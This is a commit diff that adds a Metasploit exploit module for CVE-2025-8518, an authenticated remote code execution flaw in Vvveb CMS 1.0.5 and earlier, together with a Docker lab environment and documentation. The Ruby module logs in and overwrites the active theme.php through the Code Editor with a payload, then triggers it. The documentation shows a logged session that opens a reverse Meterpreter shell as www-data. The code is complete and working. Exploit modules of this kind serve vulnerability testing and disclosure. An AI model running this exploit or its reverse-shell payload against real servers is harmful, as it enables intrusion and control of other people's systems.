Add Vvveb CMS Authenticated RCE (CVE-2025-8518)
This commit is contained in:
@@ -0,0 +1,25 @@
|
||||
FROM php:8.3-fpm
|
||||
|
||||
RUN apt-get clean && apt-get update && \
|
||||
apt-get install -y \
|
||||
wget unzip \
|
||||
libicu-dev \
|
||||
libfreetype6-dev \
|
||||
libjpeg62-turbo-dev \
|
||||
libxml2-dev \
|
||||
libwebp-dev \
|
||||
libpng-dev \
|
||||
libzip-dev \
|
||||
libonig-dev \
|
||||
libcurl4-openssl-dev && \
|
||||
docker-php-ext-configure gd --with-webp --with-jpeg && \
|
||||
docker-php-ext-install -j$(nproc) gd xml dom curl mbstring intl gettext zip mysqli && \
|
||||
pecl install apcu && docker-php-ext-enable apcu && \
|
||||
rm -rf /var/lib/apt/lists/*
|
||||
|
||||
WORKDIR /var/www/html
|
||||
|
||||
RUN wget https://github.com/givanz/Vvveb/releases/download/1.0.5/latest.zip && \
|
||||
unzip latest.zip && rm latest.zip
|
||||
|
||||
COPY php.ini /usr/local/etc/php/php.ini
|
||||
@@ -0,0 +1,43 @@
|
||||
services:
|
||||
php:
|
||||
build: .
|
||||
container_name: vvveb-php
|
||||
volumes:
|
||||
- vvveb_html:/var/www/html
|
||||
networks:
|
||||
- vvveb-net
|
||||
|
||||
nginx:
|
||||
image: nginx:stable
|
||||
container_name: vvveb-nginx
|
||||
ports:
|
||||
- "8080:80"
|
||||
volumes:
|
||||
- ./nginx.conf:/etc/nginx/conf.d/default.conf
|
||||
- vvveb_html:/var/www/html:ro
|
||||
depends_on:
|
||||
- php
|
||||
networks:
|
||||
- vvveb-net
|
||||
|
||||
mysql:
|
||||
image: mysql:5.7
|
||||
container_name: vvveb-mysql
|
||||
restart: unless-stopped
|
||||
environment:
|
||||
MYSQL_ROOT_PASSWORD: root
|
||||
MYSQL_DATABASE: vvveb
|
||||
MYSQL_USER: vvveb
|
||||
MYSQL_PASSWORD: vvveb
|
||||
volumes:
|
||||
- db_data:/var/lib/mysql
|
||||
networks:
|
||||
- vvveb-net
|
||||
|
||||
networks:
|
||||
vvveb-net:
|
||||
driver: bridge
|
||||
|
||||
volumes:
|
||||
db_data:
|
||||
vvveb_html:
|
||||
@@ -0,0 +1,21 @@
|
||||
server {
|
||||
listen 80;
|
||||
server_name localhost;
|
||||
|
||||
root /var/www/html;
|
||||
index index.php index.html;
|
||||
|
||||
location / {
|
||||
try_files $uri $uri/ /index.php?$args;
|
||||
}
|
||||
|
||||
location ~ \.php$ {
|
||||
try_files $uri =404;
|
||||
fastcgi_split_path_info ^(.+\.php)(/.+)$;
|
||||
fastcgi_pass php:9000;
|
||||
fastcgi_index index.php;
|
||||
include fastcgi_params;
|
||||
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
|
||||
fastcgi_param PATH_INFO $fastcgi_path_info;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
display_errors = On
|
||||
memory_limit = 512M
|
||||
upload_max_filesize = 64M
|
||||
post_max_size = 64M
|
||||
max_execution_time = 300
|
||||
@@ -0,0 +1,76 @@
|
||||
## Vulnerable Application
|
||||
|
||||
[Vvveb CMS](https://github.com/givanz/Vvveb) is vulnerable to Code Injection via the Code Editor functionality.
|
||||
|
||||
Unsanitized editing functionality allows attacker-controlled changes to existing files on the web-accessible filesystem,
|
||||
allowing remote authenticated attackers with access to the Code Editor to achieve code execution
|
||||
when those modified files are executed or served by the application or web server.
|
||||
|
||||
This vulnerability affects Vvveb CMS versions up to and including 1.0.5.
|
||||
Successful exploitation may result in the remote code execution under the privileges
|
||||
of the web server, potentially exposing sensitive data or disrupting survey operations.
|
||||
|
||||
An attacker can execute arbitrary system commands in the context of the user running the web server.
|
||||
|
||||
## Testing
|
||||
|
||||
1. Open `data/exploits/CVE-2025-8518` folder and use Docker Compose to set up the Vvveb CMS app
|
||||
|
||||
`docker compose up -d --build`
|
||||
|
||||
2. Open http://127.0.0.1:8080/ and make sure the app is available
|
||||
|
||||
3. Fill in the installation form with the following details:
|
||||
|
||||
Database engine: MySQL / MariaDB
|
||||
Database host: mysql
|
||||
Database name: vvveb
|
||||
Database username: root
|
||||
Database password: root
|
||||
|
||||
4. On the next form, you need to enter the admin password or provide your own.
|
||||
|
||||
5. Log in with your credentials at http://127.0.0.1:8080/admin
|
||||
Username: admin
|
||||
Password: the one you provided in the previous step
|
||||
|
||||
## Scenario
|
||||
|
||||
### php/meterpreter/reverse_tcp
|
||||
|
||||
```
|
||||
msf6 > use multi/http/vvveb_auth_rce_cve_2025_8518
|
||||
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/http/vvveb_auth_rce_cve_2025_8518) > set RHOSTS 127.0.0.1
|
||||
RHOSTS => 127.0.0.1
|
||||
msf6 exploit(multi/http/vvveb_auth_rce_cve_2025_8518) > set RPORT 8080
|
||||
RPORT => 8080
|
||||
msf6 exploit(multi/http/vvveb_auth_rce_cve_2025_8518) > set PASSWORD 12345
|
||||
PASSWORD => 12345
|
||||
msf6 exploit(multi/http/vvveb_auth_rce_cve_2025_8518) > set LHOST 172.17.0.1
|
||||
LHOST => 172.17.0.1
|
||||
msf6 exploit(multi/http/vvveb_auth_rce_cve_2025_8518) > run verbose=true
|
||||
|
||||
[*] Started reverse TCP handler on 172.17.0.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Fetching CSRF token...
|
||||
[+] Token successfully fetched:
|
||||
[*] Attempting login...
|
||||
[+] Login successful
|
||||
[*] Checking version...
|
||||
[+] The target appears to be vulnerable. Detected version 1.0.5, which is vulnerable
|
||||
[*] Identifying the active theme path...
|
||||
[+] Theme path successfully identified: /public/themes/blog-default/theme.php
|
||||
[*] Setting up payload...
|
||||
[+] Payload setup complete
|
||||
[*] Triggering payload...
|
||||
[*] Sending stage (40004 bytes) to 172.24.0.3
|
||||
[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.24.0.3:59256) at 2025-10-18 20:08:08 -0400
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : 0c6eb9a3e896
|
||||
OS : Linux 0c6eb9a3e896 6.11.2-amd64
|
||||
Meterpreter : php/linux
|
||||
meterpreter > getuid
|
||||
Server username: www-data
|
||||
```
|
||||
@@ -0,0 +1,247 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Remote Code Execution Vulnerability in Vvveb (CVE-2025-8518)',
|
||||
'Description' => %q{
|
||||
Vvveb CMS is vulnerable to Code Injection via the Code Editor functionality.
|
||||
|
||||
Unsanitized editing functionality allows attacker-controlled changes to existing files on the web-accessible filesystem,
|
||||
allowing remote authenticated attackers with access to the Code Editor to achieve code execution
|
||||
when those modified files are executed or served by the application or web server.
|
||||
|
||||
This vulnerability affects Vvveb CMS versions up to and including 1.0.5.
|
||||
Successful exploitation may result in the remote code execution under the privileges
|
||||
of the web server, potentially exposing sensitive data or disrupting survey operations.
|
||||
|
||||
An attacker can execute arbitrary system commands in the context of the user running the web server.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Maksim Rogov', # Metasploit Module
|
||||
'Hamed Kohi' # Vulnerability Discovery
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2025-8518'],
|
||||
['URL', 'https://hkohi.ca/vulnerability/8']
|
||||
],
|
||||
'Platform' => ['php'],
|
||||
'Arch' => [ARCH_PHP],
|
||||
'Targets' => [
|
||||
[
|
||||
'PHP',
|
||||
{
|
||||
'Platform' => ['php'],
|
||||
'Arch' => ARCH_PHP
|
||||
# Tested with php/meterpreter/reverse_tcp
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => '2025-01-10',
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
|
||||
'Reliability' => [REPEATABLE_SESSION]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'Path to Vvveb CMS', '/admin/']),
|
||||
OptString.new('USERNAME', [true, 'The username used to authenticate to Vvveb CMS', 'admin']),
|
||||
OptString.new('PASSWORD', [true, 'The password used to authenticate to Vvveb CMS', ''])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def get_csrf_token
|
||||
print_status('Fetching CSRF token...')
|
||||
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'method' => 'GET',
|
||||
'keep_cookies' => true
|
||||
)
|
||||
fail_with(Failure::Unreachable, "#{peer} - No response from web service") unless res
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP code #{res.code}") unless res.code == 200
|
||||
|
||||
html = res.get_html_document
|
||||
csrf_input = html.at('input[name="csrf"]')
|
||||
unless csrf_input
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to extract CSRF token")
|
||||
end
|
||||
|
||||
token = csrf_input.attributes.fetch('value', nil)
|
||||
if token.blank?
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - CSRF token is empty")
|
||||
end
|
||||
|
||||
print_good("Token successfully fetched: #{token}")
|
||||
return token.to_s
|
||||
end
|
||||
|
||||
def login
|
||||
csrf_token = get_csrf_token
|
||||
|
||||
print_status('Attempting login...')
|
||||
|
||||
post_data = Rex::MIME::Message.new
|
||||
post_data.add_part(csrf_token, nil, nil, 'form-data; name="csrf"')
|
||||
post_data.add_part('', nil, nil, 'form-data; name="redir"')
|
||||
post_data.add_part(datastore['USERNAME'], nil, nil, 'form-data; name="user"')
|
||||
post_data.add_part(datastore['PASSWORD'], nil, nil, 'form-data; name="password"')
|
||||
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'method' => 'POST',
|
||||
'keep_cookies' => true,
|
||||
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
|
||||
'vars_get' => { 'module' => 'user/login' },
|
||||
'data' => post_data.to_s
|
||||
)
|
||||
|
||||
fail_with(Failure::Unreachable, "#{peer} - No response from web service") unless res
|
||||
fail_with(Failure::NoAccess, "#{peer} - Incorrect credentials - #{datastore['USERNAME']}:#{datastore['PASSWORD']}") if res.body.include?('wrong email or password')
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP code #{res.code}") unless res.code == 302
|
||||
|
||||
@logged_in = true
|
||||
print_good('Login successful')
|
||||
end
|
||||
|
||||
def get_active_theme_path
|
||||
print_status('Identifying the active theme path...')
|
||||
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
||||
'method' => 'GET',
|
||||
'vars_get' => { 'module' => 'theme/themes' }
|
||||
)
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP code #{res.code}") unless res.code == 200
|
||||
|
||||
active_theme = res.get_html_document.at('div.list-card.active')
|
||||
if active_theme.blank?
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Card with the active theme was not found")
|
||||
end
|
||||
|
||||
theme_preview = active_theme.at('.card-img-top img').attributes.fetch('src', nil)
|
||||
if theme_preview.blank?
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Preview of the active theme card was not found")
|
||||
end
|
||||
|
||||
theme_dir = File.dirname(theme_preview)
|
||||
theme_path = theme_dir + '/theme.php'
|
||||
|
||||
print_good("Theme path successfully identified: #{theme_path}")
|
||||
return theme_path
|
||||
end
|
||||
|
||||
def get_theme_content(theme_path)
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
||||
'method' => 'GET',
|
||||
'vars_get' => {
|
||||
'module' => 'editor/code',
|
||||
'action' => 'loadFile',
|
||||
'type' => 'themes',
|
||||
'file' => theme_path
|
||||
}
|
||||
)
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP code #{res.code}") unless res.code == 200
|
||||
|
||||
return res.body
|
||||
end
|
||||
|
||||
def set_theme_content(theme_path, content)
|
||||
post_data = Rex::MIME::Message.new
|
||||
post_data.add_part(content, nil, nil, 'form-data; name="content"')
|
||||
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
||||
'method' => 'POST',
|
||||
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
|
||||
'vars_get' => {
|
||||
'module' => 'editor/code',
|
||||
'action' => 'save',
|
||||
'type' => 'themes',
|
||||
'file' => theme_path
|
||||
},
|
||||
'data' => post_data.to_s
|
||||
)
|
||||
|
||||
if !res.nil? && res.code != 200
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP code #{res.code}")
|
||||
end
|
||||
end
|
||||
|
||||
def trigger_payload(_theme_path)
|
||||
print_status('Triggering payload...')
|
||||
|
||||
send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
||||
'method' => 'GET',
|
||||
'vars_get' => {
|
||||
'module' => 'editor/editor',
|
||||
'url' => '/',
|
||||
'template' => 'index.html'
|
||||
}
|
||||
)
|
||||
end
|
||||
|
||||
def set_payload(theme_path)
|
||||
print_status('Setting up payload...')
|
||||
set_theme_content(theme_path, payload.encoded)
|
||||
print_good('Payload setup complete')
|
||||
end
|
||||
|
||||
def check
|
||||
login
|
||||
|
||||
print_status('Checking version...')
|
||||
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
||||
'method' => 'GET',
|
||||
'vars_get' => { 'module' => 'tools/systeminfo' }
|
||||
)
|
||||
fail_with(Failure::Unreachable, "#{peer} - No response from web service") unless res
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP code #{res.code}") unless res.code == 200
|
||||
|
||||
version_td = res.get_html_document.at('tr:has(th:contains("Vvveb version")) td')
|
||||
if version_td.nil?
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} Failed to find Vvveb version")
|
||||
end
|
||||
|
||||
version = Rex::Version.new(version_td&.text&.strip)
|
||||
if version <= Rex::Version.new('1.0.5')
|
||||
return CheckCode::Appears("Detected version #{version}, which is vulnerable")
|
||||
end
|
||||
|
||||
return CheckCode::Safe("Detected version #{version}, which is not vulnerable")
|
||||
end
|
||||
|
||||
def cleanup
|
||||
set_theme_content(@theme_path, @default_theme_content) unless @theme_path.nil? && @default_theme_content.nil?
|
||||
super
|
||||
end
|
||||
|
||||
def exploit
|
||||
login unless @logged_in
|
||||
@theme_path = get_active_theme_path
|
||||
@default_theme_content = get_theme_content(@theme_path)
|
||||
set_payload(@theme_path)
|
||||
trigger_payload(@theme_path)
|
||||
end
|
||||
end
|
||||
Reference in New Issue
Block a user